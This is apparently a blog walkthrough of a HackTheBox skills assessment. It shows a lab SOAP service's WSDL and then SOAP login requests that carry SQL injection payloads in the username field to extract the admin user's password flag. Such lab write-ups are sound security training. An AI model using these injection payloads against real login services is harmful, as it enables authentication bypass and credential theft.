HackTheBox - Web Service & API Attacks - Skills Assessment Walkthrough

Ido AbramovIdo Abramov
3 min read

Scenario

Our client tasks us with assessing a SOAP web service whose WSDL file resides at http://<TARGET IP>:3002/wsdl?wsdl.

Assess the target, identify an SQL Injection vulnerability through SOAP messages and answer the question below.

Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.

Walkthrough

Navigate to http://10.129.202.133:3002/wsdl?wsdl, and you will see the following response (with Burp):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/xml
Date: Thu, 24 Jul 2025 06:39:30 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 4461

<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions targetNamespace="http://tempuri.org/" 
  xmlns:s="http://www.w3.org/2001/XMLSchema" 
  xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" 
  xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" 
  xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" 
  xmlns:tns="http://tempuri.org/" 
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" 
  xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/" 
  xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" 
  xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">

  <wsdl:types>

    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">

      <s:element name="LoginRequest">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
            <s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
          </s:sequence>
        </s:complexType>    
      </s:element>

      <s:element name="LoginResponse">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>

      <s:element name="ExecuteCommandRequest">    
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
          </s:sequence>
        </s:complexType>  
      </s:element>

      <s:element name="ExecuteCommandResponse">   
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
          </s:sequence>
        </s:complexType>      
      </s:element>   
    </s:schema>
  </wsdl:types>

  <!-- Login Messages -->
  <wsdl:message name="LoginSoapIn">
    <wsdl:part name="parameters" element="tns:LoginRequest"/>
  </wsdl:message>

  <wsdl:message name="LoginSoapOut">
    <wsdl:part name="parameters" element="tns:LoginResponse"/>   
  </wsdl:message>  

  <!-- ExecuteCommand Messages -->
  <wsdl:message name="ExecuteCommandSoapIn">  
    <wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
  </wsdl:message>

  <wsdl:message name="ExecuteCommandSoapOut">    
    <wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
  </wsdl:message>

  <wsdl:portType name="HacktheBoxSoapPort">

    <!-- Login Operaion | PORT -->
    <wsdl:operation name="Login">   
      <wsdl:input message="tns:LoginSoapIn"/>
      <wsdl:output message="tns:LoginSoapOut"/>   
    </wsdl:operation>

    <!-- ExecuteCommand Operation | PORT -->
    <wsdl:operation name="ExecuteCommand">  
      <wsdl:input message="tns:ExecuteCommandSoapIn"/>
      <wsdl:output message="tns:ExecuteCommandSoapOut"/>
    </wsdl:operation> 
  </wsdl:portType>

  <wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">      
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>

    <!-- SOAP Login Action -->
    <wsdl:operation name="Login">  
      <soap:operation soapAction="Login" style="document"/>   
      <wsdl:input>
        <soap:body use="literal"/>
      </wsdl:input> 
      <wsdl:output>
        <soap:body use="literal"/>
      </wsdl:output>  
    </wsdl:operation>


    <!-- SOAP ExecuteCommand Action -->
    <wsdl:operation name="ExecuteCommand">
      <soap:operation soapAction="ExecuteCommand" style="document"/>   
      <wsdl:input>
        <soap:body use="literal"/>
      </wsdl:input>    
      <wsdl:output>
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>  
  </wsdl:binding>

  <wsdl:service name="HacktheboxService">
    <wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
      <soap:address location="http://localhost:80/wsdl"/>
    </wsdl:port>
  </wsdl:service>

</wsdl:definitions>

There are two operations available: Login and ExecuteCommand. We need to exploit SQL injection to retrieve the flag.

Since we need the username admin and its password, let's send a POST request to the Login operation with the SOAPAction header set to "Login":

And as mentioned in the scenario, there is no response - it just hangs.

Let's try an SQL injection payload in the username parameter:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username> ' OR 1=1 -- </username>
<password>test</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>

We’ve identified the parameter that is vulnerable to SQL injection !

We know there is an admin user whose password contains the flag, let's try to retrieve its data:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username> ' OR 1=1 and username LIKE 'admin' -- </username>
<password>test</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>

And we got the flag! 😄

0
Subscribe to my newsletter

Read articles from Ido Abramov directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Ido Abramov
Ido Abramov